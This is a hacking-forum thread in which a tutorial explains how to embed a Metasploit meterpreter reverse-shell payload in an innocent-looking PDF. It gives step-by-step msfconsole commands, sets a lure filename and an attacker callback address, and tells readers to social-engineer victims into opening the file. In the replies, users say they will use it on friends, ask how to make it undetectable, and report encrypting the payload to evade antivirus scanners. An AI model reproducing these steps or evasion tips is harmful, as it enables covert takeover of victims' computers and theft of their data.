

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Embedding a backdoor in a PDF file](#)

SIM-2015410 - March 21, 2014, 4:11 pm

Hello Again HF!,

Welcome to another Hacking Tutorial by MeshCollider.

If you are interested, here are links to my other hacking tutorials: Spoiler ([Click to View](#))

Metasploit 1: <https://hackforums.net/showthread.php?tid=4124763>

Metasploit 2: <https://hackforums.net/showthread.php?tid=4124800>

Metasploit 3: <https://hackforums.net/showthread.php?tid=4124838>

Cracking WiFi - WEP: <https://hackforums.net/showthread.php?tid=4126315>

Remote view a webcam/microphone: <https://hackforums.net/showthread.php?tid=4126349>

Cracking WiFi - WPA/WPA2:

<https://hackforums.net/showthread.php?tid=4127410>

Hacking/Crashing windows 7 with a shortcut file:

<https://hackforums.net/showthread.php?tid=4127314>

The most popular PDF viewer in the world is Adobe Reader. Adobe has had a lot of security flaws in its products, but most users are unaware and continue to use old, unpatched versions. In fact, over 60% of people still have Adobe Reader 9 or earlier installed. These are the versions we will exploit.

We will be adding a rootkit into an innocent PDF file, which we can then distribute to our victims to "own" them.

1) Run Metasploit

Check out my previous tutorials on how to set up and use metasploit

2) Find the Appropriate Exploit

We will search metasploit's database for an exploit for Adobe PDF on Windows, using this command:

Code msf > search type:exploit platform:windows adobe pdf You should see the exploit

"exploit/windows/fileformat/adobe_pdf_embedded_exe", which we will use:

Code msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

3) Set the Payload

We will use the meterpreter payload again, because it is one of the most powerful payloads available to us:

Code msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp

4) Set the exploit options

First, display the required options for the exploit:

Code msf > exploit (adobe_pdf_embedded_exe) > show options You can see that we must provide an existing PDF file to the INFILENAME option in which to embed the meterpreter payload. I will call it "example.pdf":

Code msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME example.pdf The next option is the output file name, FILENAME. Change this to something innocent that will attract users to open it: msf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf

Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8:

Code msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.1.8

5) Run the Exploit!

Now that all the options are set, we can run the exploit like this:

Code msf > exploit (adobe_pdf_embedded_exe) > exploit Metasploit has created a PDF named recipes.pdf that contains the Meterpreter listener. Now, simply get users to open the pdf (Social Engineering again), and you will get instant control of their PC! easy as ?

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics!

Written by MeshCollider ?

U63R - March 21, 2014, 4:14 pm

Well detailed tutorial. I think that this can help a lot of users :)

SIM-2015410 - March 21, 2014, 4:32 pm

(Mar 21, 2014 04:14 PM)u63r Wrote: [\[CITE\]](#) Well detailed tutorial. I think that this can help a lot of users :)

Thanks man, appreciate the feedback! I certainly hope people find it useful ?

FearYO - March 21, 2014, 5:05 pm

Great tutorial, going to use this on my friends!

Spartan. - March 21, 2014, 5:30 pm

Is this undetectable on the victim's computer?

SIM-2015410 - March 21, 2014, 6:00 pm

(Mar 21, 2014 05:05 PM)FearYO Wrote: [\[CITE\]](#) Great tutorial, going to use this on my friends!

Thanks man! Have fun haha ?

(Mar 21, 2014 05:30 PM)Afg-Pure. Wrote: [\[CITE\]](#) Is this undetectable on the victim's computer?
No sorry, the meterpreter is very detectable. But there are ways to make it FUD, so have a browse on Google ?

Spartan. - March 21, 2014, 6:03 pm

(Mar 21, 2014 06:00 PM)m3shc0llid3r Wrote: [\[CITE\]](#) Thanks man! Have fun haha ?

No sorry, the meterpreter is very detectable. But there are ways to make it FUD, so have a browse on Google ? Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering..

SIM-2015410 - March 21, 2014, 6:20 pm

(Mar 21, 2014 06:03 PM)Afg-Pure. Wrote: [\[CITE\]](#) Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering..

Check out this link here for an idea on how to make it UD. But its the same with any virus or trojan: You have to be one step ahead of the antivirus companies if you want to make something FUD.

Metasploit is just a database of exploits and payloads, I don't think it has any crypting abilities, etc.

<http://pentestlab.wordpress.com/2012/04/16/creating-an-undetectable-backdoor/>

Up In The Smoke - March 22, 2014, 8:29 am

Thanks dude, i really needed this.. bookmarkeeeeeeed :)

veritas007 - March 22, 2014, 8:44 am

sorry for sounding like a n00b but.....could you explain how this works exactly.....i didn't understand the part about "instant control of the person's pc" again sorry for being a n00b

tftoolz - April 27, 2014, 1:23 pm

Great Tut, well detailed, it will help people here on HF am sure

Markdavybullets - June 17, 2014, 5:44 am

Well detailed im going to try this and others from your other threads...thanks

Die Jude - June 17, 2014, 7:26 am

Nice tutorial, written well, was curious how to do it :)

SIM-2015410 - June 17, 2014, 12:35 pm

(Jun 17, 2014 07:26 AM)Die Jude Wrote: [\[CITE\]](#) Nice tutorial, written well, was curious how to do it :)
Thank you very much for replying guys ?

xcorex - July 8, 2014, 12:29 pm

detailed tutorial. I think that this can help a lot of users

TheMattus - July 8, 2014, 12:35 pm

Is it possible to embed it in a web-based PDF?

SIM-2015410 - July 8, 2014, 3:42 pm

(Jul 8, 2014 12:35 PM)TheMattus Wrote: [\[CITE\]](#) Is it possible to embed it in a web-based PDF?
The exploit method works by adding malicious code to run when the pdf is opened, so i doubt it would work on a Web based pdf. Try it and see though, and let me know if it does!

JHendrix - July 8, 2014, 3:44 pm

Thanks a lot for this! its time to start screwing with friends

RelationShit - July 8, 2014, 3:45 pm

I wonder what happens in the background/ behind the scenes.
The actual malicious code, etc. how it's injected in it, and everything.

A tutorial on how to do it manually for example.
Looks like a nice tutorial though.

SIM-2015410 - July 8, 2014, 3:54 pm

(Jul 8, 2014 03:45 PM)RelationShit Wrote: [\[CITE\]](#) I wonder what happens in the background/ behind the scenes.
The actual malicious code, etc. how it's injected in it, and everything.

A tutorial on how to do it manually for example.
Looks like a nice tutorial though.

It's related to how the pdf file is structured. By placing malicious code in it instead of legitimate data, the pdf viewer will end up executing it. You need to learn about file structures, assembly, byte code, etc if you are interested. Have a look at this for a basic explanation:

<http://security.stackexchange.com/questions/8113/how-to-inject-executable-malicious-code-into-pdf-jpeg-mp3-etc>

You could do it manually using a hex editor if you know what you are doing

entropYBRO - August 14, 2014, 3:58 am

I like all the tutorials you post Mesh!
Really nice to see the effort being put in your tutorials!

Thanks mate ;)

Cob0lt - August 14, 2014, 5:33 am

The problem is that no ones use at this moment any version which affects this exploit...
But nice tutorial bro.
Regards

spybod007 - September 19, 2014, 5:00 am

i have downloaded and installed metasploit on my windows 7 and i open Metasploit Pro Console. i dont know where to type in these codes you listed here, can you help me choose which i will open and how to go about it please thanks bro

SIM-2015410 - September 20, 2014, 9:55 pm

(Sep 19, 2014 05:00 AM)spybod007 Wrote: [\[CITE\]](#) i have downloaded and installed metasploit on my windows 7 and i open Metasploit Pro Console. i dont know where to type in these codes you listed here, can you help me choose which i will open and how to go about it please thanks bro
Clearly, you type the commands into the console that you opened. ?

c.h.r.o.n.i.c.a.l - September 20, 2014, 10:02 pm

thanks for posting the overused tutorial on how to use metasploit to hack people with no knowledge of what the fuck you're doing

xchanmolx - September 21, 2014, 12:17 am

great tutorial , it help me a lot. thanks for sharing.

ambujagrawal - September 23, 2014, 4:27 pm

I dont see why this tutorial shouldnt get more nice reviews.

An HQ tutorial, thank a lot OP.

Moon Rock - September 23, 2014, 5:40 pm

Looks like a good tutorial, I'll have to try this since exe are really hard to spread. Only kids will open them these days.

Jimmehv - October 1, 2014, 7:43 am

Can this only be used for computers on your LAN? or can i use my my external IP to control victims over the net?

Benoit balls - November 14, 2014, 10:32 am

Thanks for this tutorial i have made a .pdf FUD 0/54 if anyone wants to know how i did it PM me(although i believe everyone here knows how).

Everyone who sees this and Pm's me , please leave skype , i cant PM yet.

max888 - November 15, 2014, 5:55 am

(Nov 14, 2014 11:32 AM)Guyishay13 Wrote: [\[CITE\]](#) Thanks for this tutorial i have made a .pdf FUD 0/54 if anyone wants to know how i did it PM me(although i believe everyone here knows how).

Everyone who sees this and Pm's me , please leave skype , i cant PM yet.
Guyishay13 make a tut and put it on HF :)

Benoit balls - November 15, 2014, 7:43 am

I can teach each one of you alone , so if you have questions i can answer them right away , i prefer teaching each one

Id rather not make a tutorial about it , because I am new around here.

SIM-2015410 - November 16, 2014, 11:22 am

(Nov 15, 2014 08:43 AM)Guyishay13 Wrote: [\[CITE\]](#) I can teach each one of you alone , so if you have questions i can answer them right away , i prefer teaching each one

Id rather not make a tutorial about it , because I am new around here.

You can't even PM yet because you only have 6 posts. Feel free to post your method here.

Benoit balls - November 16, 2014, 12:17 pm

Well , I just encrypted the payload before embedding it to a .pdf file , and i got it to 0/54.

dyl_up - November 16, 2014, 3:31 pm

This is really neat, thanks for posting

SIM-2015410 - November 18, 2014, 6:57 pm

(Nov 18, 2014 01:35 PM)?Fake Wrote: [\[CITE\]](#) Check out my signature it guarantees 1-5k installs/day . There is a 50% off sale on at the moment, get it while you still can!

That is not relevant at all to this thread, you are just spam posting to spread your advertising around the forum.

?BORNE? - June 2, 2016, 12:37 am

Nice tutorial dude, thank you for the share!

riskaa - June 2, 2016, 1:51 pm

Thanks for sharing dude, i really needed this

Epicur - June 2, 2016, 2:04 pm

What is the difference between this and the PDF exploits that are sold all over the internet? Only the UD rate? Or there is something else?

Thanks for another great tutorial!

drongopizza - June 2, 2016, 5:47 pm

can i do this on and to windows 10?

satryiasis22 - June 3, 2016, 6:42 am

Is this the silent PDF exploit? Those are very expensive... At least that's what I thought...

SexWax - June 3, 2016, 9:14 am

great tutorial , it help me a lot. thanks for sharing.

testingon - June 7, 2016, 3:30 am

great work

buddy thanks for sharing.

Bouness - June 8, 2016, 6:53 am

Nice guide man! Does it still work or is it outdated? 2 years later

?Criminal - June 8, 2016, 4:04 pm

(Jun 8, 2016 06:53 AM)Bouness Wrote: [\[CITE\]](#) Nice guide man! Does it still work or is it outdated? 2 years later

This specific vuln abused a memory corruption but adobe reader and a few others by design allow remote code execution through openaction events so you can still embed your payload in PDF's without using a silent vuln, the only difference is a silent vuln requires one click and an openaction event requires 2 but it doesn't make too much of a difference because when dealing with file format exploits how you SE the person and lure/hook them in is what your success rate will mostly depend on.

ticorwin - June 8, 2016, 6:00 pm

well written, thanks for the tips!

independenceisalie - June 8, 2016, 6:00 pm

Bookmarked this for later, thanks for the tutorial :)